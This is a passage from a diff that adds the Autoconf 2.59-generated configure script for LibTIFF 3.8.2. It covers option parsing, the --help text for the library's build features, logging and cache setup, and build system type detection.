+   { (exit 1); exit 1; }; }
+    ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`
+    eval "$ac_envvar='$ac_optarg'"
+    export $ac_envvar ;;
+
+  *)
+    # FIXME: should be removed in autoconf 3.0.
+    echo "$as_me: WARNING: you should use --build, --host, --target" >&2
+    expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null &&
+      echo "$as_me: WARNING: invalid host type: $ac_option" >&2
+    : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}
+    ;;
+
+  esac
+done
+
+if test -n "$ac_prev"; then
+  ac_option=--`echo $ac_prev | sed 's/_/-/g'`
+  { echo "$as_me: error: missing argument to $ac_option" >&2
+   { (exit 1); exit 1; }; }
+fi
+
+# Be sure to have absolute paths.
+for ac_var in exec_prefix prefix
+do
+  eval ac_val=$`echo $ac_var`
+  case $ac_val in
+    [\\/$]* | ?:[\\/]* | NONE | '' ) ;;
+    *)  { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2
+   { (exit 1); exit 1; }; };;
+  esac
+done
+
+# Be sure to have absolute paths.
+for ac_var in bindir sbindir libexecdir datadir sysconfdir sharedstatedir \
+	      localstatedir libdir includedir oldincludedir infodir mandir
+do
+  eval ac_val=$`echo $ac_var`
+  case $ac_val in
+    [\\/$]* | ?:[\\/]* ) ;;
+    *)  { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2
+   { (exit 1); exit 1; }; };;
+  esac
+done
+
+# There might be people who depend on the old broken behavior: `$host'
+# used to hold the argument of --host etc.
+# FIXME: To remove some day.
+build=$build_alias
+host=$host_alias
+target=$target_alias
+
+# FIXME: To remove some day.
+if test "x$host_alias" != x; then
+  if test "x$build_alias" = x; then
+    cross_compiling=maybe
+    echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host.
+    If a cross compiler is detected then cross compile mode will be used." >&2
+  elif test "x$build_alias" != "x$host_alias"; then
+    cross_compiling=yes
+  fi
+fi
+
+ac_tool_prefix=
+test -n "$host_alias" && ac_tool_prefix=$host_alias-
+
+test "$silent" = yes && exec 6>/dev/null
+
+
+# Find the source files, if location was not specified.
+if test -z "$srcdir"; then
+  ac_srcdir_defaulted=yes
+  # Try the directory containing this script, then its parent.
+  ac_confdir=`(dirname "$0") 2>/dev/null ||
+$as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$0" : 'X\(//\)[^/]' \| \
+	 X"$0" : 'X\(//\)$' \| \
+	 X"$0" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$0" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+  srcdir=$ac_confdir
+  if test ! -r $srcdir/$ac_unique_file; then
+    srcdir=..
+  fi
+else
+  ac_srcdir_defaulted=no
+fi
+if test ! -r $srcdir/$ac_unique_file; then
+  if test "$ac_srcdir_defaulted" = yes; then
+    { echo "$as_me: error: cannot find sources ($ac_unique_file) in $ac_confdir or .." >&2
+   { (exit 1); exit 1; }; }
+  else
+    { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2
+   { (exit 1); exit 1; }; }
+  fi
+fi
+(cd $srcdir && test -r ./$ac_unique_file) 2>/dev/null ||
+  { echo "$as_me: error: sources are in $srcdir, but \`cd $srcdir' does not work" >&2
+   { (exit 1); exit 1; }; }
+srcdir=`echo "$srcdir" | sed 's%\([^\\/]\)[\\/]*$%\1%'`
+ac_env_build_alias_set=${build_alias+set}
+ac_env_build_alias_value=$build_alias
+ac_cv_env_build_alias_set=${build_alias+set}
+ac_cv_env_build_alias_value=$build_alias
+ac_env_host_alias_set=${host_alias+set}
+ac_env_host_alias_value=$host_alias
+ac_cv_env_host_alias_set=${host_alias+set}
+ac_cv_env_host_alias_value=$host_alias
+ac_env_target_alias_set=${target_alias+set}
+ac_env_target_alias_value=$target_alias
+ac_cv_env_target_alias_set=${target_alias+set}
+ac_cv_env_target_alias_value=$target_alias
+ac_env_CC_set=${CC+set}
+ac_env_CC_value=$CC
+ac_cv_env_CC_set=${CC+set}
+ac_cv_env_CC_value=$CC
+ac_env_CFLAGS_set=${CFLAGS+set}
+ac_env_CFLAGS_value=$CFLAGS
+ac_cv_env_CFLAGS_set=${CFLAGS+set}
+ac_cv_env_CFLAGS_value=$CFLAGS
+ac_env_LDFLAGS_set=${LDFLAGS+set}
+ac_env_LDFLAGS_value=$LDFLAGS
+ac_cv_env_LDFLAGS_set=${LDFLAGS+set}
+ac_cv_env_LDFLAGS_value=$LDFLAGS
+ac_env_CPPFLAGS_set=${CPPFLAGS+set}
+ac_env_CPPFLAGS_value=$CPPFLAGS
+ac_cv_env_CPPFLAGS_set=${CPPFLAGS+set}
+ac_cv_env_CPPFLAGS_value=$CPPFLAGS
+ac_env_CPP_set=${CPP+set}
+ac_env_CPP_value=$CPP
+ac_cv_env_CPP_set=${CPP+set}
+ac_cv_env_CPP_value=$CPP
+ac_env_CXX_set=${CXX+set}
+ac_env_CXX_value=$CXX
+ac_cv_env_CXX_set=${CXX+set}
+ac_cv_env_CXX_value=$CXX
+ac_env_CXXFLAGS_set=${CXXFLAGS+set}
+ac_env_CXXFLAGS_value=$CXXFLAGS
+ac_cv_env_CXXFLAGS_set=${CXXFLAGS+set}
+ac_cv_env_CXXFLAGS_value=$CXXFLAGS
+ac_env_CXXCPP_set=${CXXCPP+set}
+ac_env_CXXCPP_value=$CXXCPP
+ac_cv_env_CXXCPP_set=${CXXCPP+set}
+ac_cv_env_CXXCPP_value=$CXXCPP
+
+#
+# Report the --help message.
+#
+if test "$ac_init_help" = "long"; then
+  # Omit some internal or obsolete options to make the list less imposing.
+  # This message is too long to be a string in the A/UX 3.1 sh.
+  cat <<_ACEOF
+\`configure' configures LibTIFF Software 3.8.2 to adapt to many kinds of systems.
+
+Usage: $0 [OPTION]... [VAR=VALUE]...
+
+To assign environment variables (e.g., CC, CFLAGS...), specify them as
+VAR=VALUE.  See below for descriptions of some of the useful variables.
+
+Defaults for the options are specified in brackets.
+
+Configuration:
+  -h, --help              display this help and exit
+      --help=short        display options specific to this package
+      --help=recursive    display the short help of all the included packages
+  -V, --version           display version information and exit
+  -q, --quiet, --silent   do not print \`checking...' messages
+      --cache-file=FILE   cache test results in FILE [disabled]
+  -C, --config-cache      alias for \`--cache-file=config.cache'
+  -n, --no-create         do not create output files
+      --srcdir=DIR        find the sources in DIR [configure dir or \`..']
+
+_ACEOF
+
+  cat <<_ACEOF
+Installation directories:
+  --prefix=PREFIX         install architecture-independent files in PREFIX
+			  [$ac_default_prefix]
+  --exec-prefix=EPREFIX   install architecture-dependent files in EPREFIX
+			  [PREFIX]
+
+By default, \`make install' will install all the files in
+\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc.  You can specify
+an installation prefix other than \`$ac_default_prefix' using \`--prefix',
+for instance \`--prefix=\$HOME'.
+
+For better control, use the options below.
+
+Fine tuning of the installation directories:
+  --bindir=DIR           user executables [EPREFIX/bin]
+  --sbindir=DIR          system admin executables [EPREFIX/sbin]
+  --libexecdir=DIR       program executables [EPREFIX/libexec]
+  --datadir=DIR          read-only architecture-independent data [PREFIX/share]
+  --sysconfdir=DIR       read-only single-machine data [PREFIX/etc]
+  --sharedstatedir=DIR   modifiable architecture-independent data [PREFIX/com]
+  --localstatedir=DIR    modifiable single-machine data [PREFIX/var]
+  --libdir=DIR           object code libraries [EPREFIX/lib]
+  --includedir=DIR       C header files [PREFIX/include]
+  --oldincludedir=DIR    C header files for non-gcc [/usr/include]
+  --infodir=DIR          info documentation [PREFIX/info]
+  --mandir=DIR           man documentation [PREFIX/man]
+_ACEOF
+
+  cat <<\_ACEOF
+
+Program names:
+  --program-prefix=PREFIX            prepend PREFIX to installed program names
+  --program-suffix=SUFFIX            append SUFFIX to installed program names
+  --program-transform-name=PROGRAM   run sed PROGRAM on installed program names
+
+X features:
+  --x-includes=DIR    X include files are in DIR
+  --x-libraries=DIR   X library files are in DIR
+
+System types:
+  --build=BUILD     configure for building on BUILD [guessed]
+  --host=HOST       cross-compile to build programs to run on HOST [BUILD]
+  --target=TARGET   configure for building compilers for TARGET [HOST]
+_ACEOF
+fi
+
+if test -n "$ac_init_help"; then
+  case $ac_init_help in
+     short | recursive ) echo "Configuration of LibTIFF Software 3.8.2:";;
+   esac
+  cat <<\_ACEOF
+
+Optional Features:
+  --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
+  --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
+  --enable-maintainer-mode  enable make rules and dependencies not useful
+			  (and sometimes confusing) to the casual installer
+  --disable-dependency-tracking  speeds up one-time build
+  --enable-dependency-tracking   do not reject slow dependency extractors
+  --enable-shared[=PKGS]
+                          build shared libraries [default=yes]
+  --enable-static[=PKGS]
+                          build static libraries [default=yes]
+  --enable-fast-install[=PKGS]
+                          optimize for fast installation [default=yes]
+  --disable-libtool-lock  avoid locking (might break parallel builds)
+  --enable-rpath          Enable runtime linker paths (-R libtool option)
+  --disable-largefile     omit support for large files
+  --disable-ccitt         disable support for CCITT Group 3 & 4 algorithms
+  --disable-packbits      disable support for Macintosh PackBits algorithm
+  --disable-lzw           disable support for LZW algorithm
+  --disable-thunder       disable support for ThunderScan 4-bit RLE algorithm
+  --disable-next          disable support for NeXT 2-bit RLE algorithm
+  --disable-logluv        disable support for LogLuv high dynamic range
+                          encoding
+  --disable-mdi           disable support for Microsoft Document Imaging
+  --disable-zlib          disable Zlib usage (required for Deflate
+                          compression, enabled by default)
+  --disable-pixarlog      disable support for Pixar log-format algorithm
+                          (requires Zlib)
+  --disable-jpeg          disable IJG JPEG library usage (required for JPEG
+                          compression, enabled by default)
+  --enable-old-jpeg       enable support for Old JPEG compresson (read
+                          contrib/ojpeg/README first! Compilation fails with
+                          unpatched IJG JPEG library)
+  --enable-cxx            enable C++ stream API building (requires C++
+                          compiler)
+  --disable-strip-chopping
+                          disable support for strip chopping (whether or not
+                          to convert single-strip uncompressed images to
+                          mutiple strips of specified size to reduce memory
+                          usage)
+  --disable-extrasample-as-alpha
+                          the RGBA interface will treat a fourth sample with
+                          no EXTRASAMPLE_ value as being ASSOCALPHA. Many
+                          packages produce RGBA files but don't mark the alpha
+                          properly
+  --disable-check-ycbcr-subsampling
+                          disable picking up YCbCr subsampling info from the
+                          JPEG data stream to support files lacking the tag
+
+Optional Packages:
+  --with-PACKAGE[=ARG]    use PACKAGE [ARG=yes]
+  --without-PACKAGE       do not use PACKAGE (same as --with-PACKAGE=no)
+  --with-pic              try to use only PIC/non-PIC objects [default=use
+                          both]
+  --with-gnu-ld           assume the C compiler uses GNU ld [default=no]
+  --with-docdir=DIR       directory where documentation should be installed
+  --with-zlib-include-dir=DIR
+                          location of Zlib headers
+  --with-zlib-lib-dir=DIR location of Zlib library binary
+  --with-jpeg-include-dir=DIR
+                          location of IJG JPEG library headers
+  --with-jpeg-lib-dir=DIR location of IJG JPEG library binary
+  --with-x                use the X Window System
+  --with-apple-opengl-framework
+                          use Apple OpenGL framework (Mac OS X only)
+  --with-default-strip-size=SIZE
+                          default size of the strip in bytes (when strip
+                          chopping enabled) [default=8192]
+
+Some influential environment variables:
+  CC          C compiler command
+  CFLAGS      C compiler flags
+  LDFLAGS     linker flags, e.g. -L<lib dir> if you have libraries in a
+              nonstandard directory <lib dir>
+  CPPFLAGS    C/C++ preprocessor flags, e.g. -I<include dir> if you have
+              headers in a nonstandard directory <include dir>
+  CPP         C preprocessor
+  CXX         C++ compiler command
+  CXXFLAGS    C++ compiler flags
+  CXXCPP      C++ preprocessor
+
+Use these variables to override the choices made by `configure' or to help
+it to find libraries and programs with nonstandard names/locations.
+
+Report bugs to <tiff@lists.maptools.org>.
+_ACEOF
+fi
+
+if test "$ac_init_help" = "recursive"; then
+  # If there are subdirs, report their specific --help.
+  ac_popdir=`pwd`
+  for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue
+    test -d $ac_dir || continue
+    ac_builddir=.
+
+if test "$ac_dir" != .; then
+  ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+  # A "../" for each directory in $ac_dir_suffix.
+  ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+  ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+  .)  # No --srcdir option.  We are building in place.
+    ac_srcdir=.
+    if test -z "$ac_top_builddir"; then
+       ac_top_srcdir=.
+    else
+       ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+    fi ;;
+  [\\/]* | ?:[\\/]* )  # Absolute path.
+    ac_srcdir=$srcdir$ac_dir_suffix;
+    ac_top_srcdir=$srcdir ;;
+  *) # Relative path.
+    ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+    ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+
+# Do not use `cd foo && pwd` to compute absolute paths, because
+# the directories may not exist.
+case `pwd` in
+.) ac_abs_builddir="$ac_dir";;
+*)
+  case "$ac_dir" in
+  .) ac_abs_builddir=`pwd`;;
+  [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";;
+  *) ac_abs_builddir=`pwd`/"$ac_dir";;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_top_builddir=${ac_top_builddir}.;;
+*)
+  case ${ac_top_builddir}. in
+  .) ac_abs_top_builddir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;;
+  *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_srcdir=$ac_srcdir;;
+*)
+  case $ac_srcdir in
+  .) ac_abs_srcdir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;;
+  *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_top_srcdir=$ac_top_srcdir;;
+*)
+  case $ac_top_srcdir in
+  .) ac_abs_top_srcdir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;;
+  *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;;
+  esac;;
+esac
+
+    cd $ac_dir
+    # Check for guested configure; otherwise get Cygnus style configure.
+    if test -f $ac_srcdir/configure.gnu; then
+      echo
+      $SHELL $ac_srcdir/configure.gnu  --help=recursive
+    elif test -f $ac_srcdir/configure; then
+      echo
+      $SHELL $ac_srcdir/configure  --help=recursive
+    elif test -f $ac_srcdir/configure.ac ||
+	   test -f $ac_srcdir/configure.in; then
+      echo
+      $ac_configure --help
+    else
+      echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2
+    fi
+    cd "$ac_popdir"
+  done
+fi
+
+test -n "$ac_init_help" && exit 0
+if $ac_init_version; then
+  cat <<\_ACEOF
+LibTIFF Software configure 3.8.2
+generated by GNU Autoconf 2.59
+
+Copyright (C) 2003 Free Software Foundation, Inc.
+This configure script is free software; the Free Software Foundation
+gives unlimited permission to copy, distribute and modify it.
+_ACEOF
+  exit 0
+fi
+exec 5>config.log
+cat >&5 <<_ACEOF
+This file contains any messages produced by compilers while
+running configure, to aid debugging if configure makes a mistake.
+
+It was created by LibTIFF Software $as_me 3.8.2, which was
+generated by GNU Autoconf 2.59.  Invocation command line was
+
+  $ $0 $@
+
+_ACEOF
+{
+cat <<_ASUNAME
+## --------- ##
+## Platform. ##
+## --------- ##
+
+hostname = `(hostname || uname -n) 2>/dev/null | sed 1q`
+uname -m = `(uname -m) 2>/dev/null || echo unknown`
+uname -r = `(uname -r) 2>/dev/null || echo unknown`
+uname -s = `(uname -s) 2>/dev/null || echo unknown`
+uname -v = `(uname -v) 2>/dev/null || echo unknown`
+
+/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown`
+/bin/uname -X     = `(/bin/uname -X) 2>/dev/null     || echo unknown`
+
+/bin/arch              = `(/bin/arch) 2>/dev/null              || echo unknown`
+/usr/bin/arch -k       = `(/usr/bin/arch -k) 2>/dev/null       || echo unknown`
+/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown`
+hostinfo               = `(hostinfo) 2>/dev/null               || echo unknown`
+/bin/machine           = `(/bin/machine) 2>/dev/null           || echo unknown`
+/usr/bin/oslevel       = `(/usr/bin/oslevel) 2>/dev/null       || echo unknown`
+/bin/universe          = `(/bin/universe) 2>/dev/null          || echo unknown`
+
+_ASUNAME
+
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  echo "PATH: $as_dir"
+done
+
+} >&5
+
+cat >&5 <<_ACEOF
+
+
+## ----------- ##
+## Core tests. ##
+## ----------- ##
+
+_ACEOF
+
+
+# Keep a trace of the command line.
+# Strip out --no-create and --no-recursion so they do not pile up.
+# Strip out --silent because we don't want to record it for future runs.
+# Also quote any args containing shell meta-characters.
+# Make two passes to allow for proper duplicate-argument suppression.
+ac_configure_args=
+ac_configure_args0=
+ac_configure_args1=
+ac_sep=
+ac_must_keep_next=false
+for ac_pass in 1 2
+do
+  for ac_arg
+  do
+    case $ac_arg in
+    -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;;
+    -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+    | -silent | --silent | --silen | --sile | --sil)
+      continue ;;
+    *" "*|*"	"*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*)
+      ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;;
+    esac
+    case $ac_pass in
+    1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;;
+    2)
+      ac_configure_args1="$ac_configure_args1 '$ac_arg'"
+      if test $ac_must_keep_next = true; then
+	ac_must_keep_next=false # Got value, back to normal.
+      else
+	case $ac_arg in
+	  *=* | --config-cache | -C | -disable-* | --disable-* \
+	  | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \
+	  | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \
+	  | -with-* | --with-* | -without-* | --without-* | --x)
+	    case "$ac_configure_args0 " in
+	      "$ac_configure_args1"*" '$ac_arg' "* ) continue ;;
+	    esac
+	    ;;
+	  -* ) ac_must_keep_next=true ;;
+	esac
+      fi
+      ac_configure_args="$ac_configure_args$ac_sep'$ac_arg'"
+      # Get rid of the leading space.
+      ac_sep=" "
+      ;;
+    esac
+  done
+done
+$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; }
+$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; }
+
+# When interrupted or exit'd, cleanup temporary files, and complete
+# config.log.  We remove comments because anyway the quotes in there
+# would cause problems or look ugly.
+# WARNING: Be sure not to use single quotes in there, as some shells,
+# such as our DU 5.0 friend, will then `close' the trap.
+trap 'exit_status=$?
+  # Save into config.log some information that might help in debugging.
+  {
+    echo
+
+    cat <<\_ASBOX
+## ---------------- ##
+## Cache variables. ##
+## ---------------- ##
+_ASBOX
+    echo
+    # The following way of writing the cache mishandles newlines in values,
+{
+  (set) 2>&1 |
+    case `(ac_space='"'"' '"'"'; set | grep ac_space) 2>&1` in
+    *ac_space=\ *)
+      sed -n \
+	"s/'"'"'/'"'"'\\\\'"'"''"'"'/g;
+	  s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='"'"'\\2'"'"'/p"
+      ;;
+    *)
+      sed -n \
+	"s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p"
+      ;;
+    esac;
+}
+    echo
+
+    cat <<\_ASBOX
+## ----------------- ##
+## Output variables. ##
+## ----------------- ##
+_ASBOX
+    echo
+    for ac_var in $ac_subst_vars
+    do
+      eval ac_val=$`echo $ac_var`
+      echo "$ac_var='"'"'$ac_val'"'"'"
+    done | sort
+    echo
+
+    if test -n "$ac_subst_files"; then
+      cat <<\_ASBOX
+## ------------- ##
+## Output files. ##
+## ------------- ##
+_ASBOX
+      echo
+      for ac_var in $ac_subst_files
+      do
+	eval ac_val=$`echo $ac_var`
+	echo "$ac_var='"'"'$ac_val'"'"'"
+      done | sort
+      echo
+    fi
+
+    if test -s confdefs.h; then
+      cat <<\_ASBOX
+## ----------- ##
+## confdefs.h. ##
+## ----------- ##
+_ASBOX
+      echo
+      sed "/^$/d" confdefs.h | sort
+      echo
+    fi
+    test "$ac_signal" != 0 &&
+      echo "$as_me: caught signal $ac_signal"
+    echo "$as_me: exit $exit_status"
+  } >&5
+  rm -f core *.core &&
+  rm -rf conftest* confdefs* conf$$* $ac_clean_files &&
+    exit $exit_status
+     ' 0
+for ac_signal in 1 2 13 15; do
+  trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal
+done
+ac_signal=0
+
+# confdefs.h avoids OS command line length limits that DEFS can exceed.
+rm -rf conftest* confdefs.h
+# AIX cpp loses on an empty file, so make sure it contains at least a newline.
+echo >confdefs.h
+
+# Predefined preprocessor variables.
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_NAME "$PACKAGE_NAME"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_TARNAME "$PACKAGE_TARNAME"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_VERSION "$PACKAGE_VERSION"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_STRING "$PACKAGE_STRING"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT"
+_ACEOF
+
+
+# Let the site file select an alternate cache file if it wants to.
+# Prefer explicitly selected file to automatically selected ones.
+if test -z "$CONFIG_SITE"; then
+  if test "x$prefix" != xNONE; then
+    CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site"
+  else
+    CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site"
+  fi
+fi
+for ac_site_file in $CONFIG_SITE; do
+  if test -r "$ac_site_file"; then
+    { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5
+echo "$as_me: loading site script $ac_site_file" >&6;}
+    sed 's/^/| /' "$ac_site_file" >&5
+    . "$ac_site_file"
+  fi
+done
+
+if test -r "$cache_file"; then
+  # Some versions of bash will fail to source /dev/null (special
+  # files actually), so we avoid doing that.
+  if test -f "$cache_file"; then
+    { echo "$as_me:$LINENO: loading cache $cache_file" >&5
+echo "$as_me: loading cache $cache_file" >&6;}
+    case $cache_file in
+      [\\/]* | ?:[\\/]* ) . $cache_file;;
+      *)                      . ./$cache_file;;
+    esac
+  fi
+else
+  { echo "$as_me:$LINENO: creating cache $cache_file" >&5
+echo "$as_me: creating cache $cache_file" >&6;}
+  >$cache_file
+fi
+
+# Check that the precious variables saved in the cache have kept the same
+# value.
+ac_cache_corrupted=false
+for ac_var in `(set) 2>&1 |
+	       sed -n 's/^ac_env_\([a-zA-Z_0-9]*\)_set=.*/\1/p'`; do
+  eval ac_old_set=\$ac_cv_env_${ac_var}_set
+  eval ac_new_set=\$ac_env_${ac_var}_set
+  eval ac_old_val="\$ac_cv_env_${ac_var}_value"
+  eval ac_new_val="\$ac_env_${ac_var}_value"
+  case $ac_old_set,$ac_new_set in
+    set,)
+      { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5
+echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;}
+      ac_cache_corrupted=: ;;
+    ,set)
+      { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5
+echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;}
+      ac_cache_corrupted=: ;;
+    ,);;
+    *)
+      if test "x$ac_old_val" != "x$ac_new_val"; then
+	{ echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5
+echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;}
+	{ echo "$as_me:$LINENO:   former value:  $ac_old_val" >&5
+echo "$as_me:   former value:  $ac_old_val" >&2;}
+	{ echo "$as_me:$LINENO:   current value: $ac_new_val" >&5
+echo "$as_me:   current value: $ac_new_val" >&2;}
+	ac_cache_corrupted=:
+      fi;;
+  esac
+  # Pass precious variables to config.status.
+  if test "$ac_new_set" = set; then
+    case $ac_new_val in
+    *" "*|*"	"*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*)
+      ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;;
+    *) ac_arg=$ac_var=$ac_new_val ;;
+    esac
+    case " $ac_configure_args " in
+      *" '$ac_arg' "*) ;; # Avoid dups.  Use of quotes ensures accuracy.
+      *) ac_configure_args="$ac_configure_args '$ac_arg'" ;;
+    esac
+  fi
+done
+if $ac_cache_corrupted; then
+  { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5
+echo "$as_me: error: changes in the environment can compromise the build" >&2;}
+  { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5
+echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;}
+   { (exit 1); exit 1; }; }
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ac_aux_dir=
+for ac_dir in config $srcdir/config; do
+  if test -f $ac_dir/install-sh; then
+    ac_aux_dir=$ac_dir
+    ac_install_sh="$ac_aux_dir/install-sh -c"
+    break
+  elif test -f $ac_dir/install.sh; then
+    ac_aux_dir=$ac_dir
+    ac_install_sh="$ac_aux_dir/install.sh -c"
+    break
+  elif test -f $ac_dir/shtool; then
+    ac_aux_dir=$ac_dir
+    ac_install_sh="$ac_aux_dir/shtool install -c"
+    break
+  fi
+done
+if test -z "$ac_aux_dir"; then
+  { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in config $srcdir/config" >&5
+echo "$as_me: error: cannot find install-sh or install.sh in config $srcdir/config" >&2;}
+   { (exit 1); exit 1; }; }
+fi
+ac_config_guess="$SHELL $ac_aux_dir/config.guess"
+ac_config_sub="$SHELL $ac_aux_dir/config.sub"
+ac_configure="$SHELL $ac_aux_dir/configure" # This should be Cygnus configure.
+
+case m4 in
+  [\\/]* | ?:[\\/]* ) ac_macro_dir=m4         ;;
+  *)                      ac_macro_dir=$srcdir/m4 ;;
+esac
+if test -d "$ac_macro_dir"; then :
+else
+  { { echo "$as_me:$LINENO: error: cannot find macro directory \`m4'" >&5
+echo "$as_me: error: cannot find macro directory \`m4'" >&2;}
+   { (exit 1); exit 1; }; }
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+# Make sure we can run config.sub.
+$ac_config_sub sun4 >/dev/null 2>&1 ||
+  { { echo "$as_me:$LINENO: error: cannot run $ac_config_sub" >&5
+echo "$as_me: error: cannot run $ac_config_sub" >&2;}
+   { (exit 1); exit 1; }; }
+
+echo "$as_me:$LINENO: checking build system type" >&5
+echo $ECHO_N "checking build system type... $ECHO_C" >&6
+if test "${ac_cv_build+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_build_alias=$build_alias
+test -z "$ac_cv_build_alias" &&
+  ac_cv_build_alias=`$ac_config_guess`
+test -z "$ac_cv_build_alias" &&
+  { { echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5
+echo "$as_me: error: cannot guess build type; you must specify one" >&2;}
+   { (exit 1); exit 1; }; }
+ac_cv_build=`$ac_config_sub $ac_cv_build_alias` ||
+  { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_build_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_build_alias failed" >&2;}
+   { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_build" >&5
+echo "${ECHO_T}$ac_cv_build" >&6
+build=$ac_cv_build
+build_cpu=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+build_vendor=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+build_os=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+echo "$as_me:$LINENO: checking host system type" >&5
+echo $ECHO_N "checking host system type... $ECHO_C" >&6
+if test "${ac_cv_host+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_host_alias=$host_alias
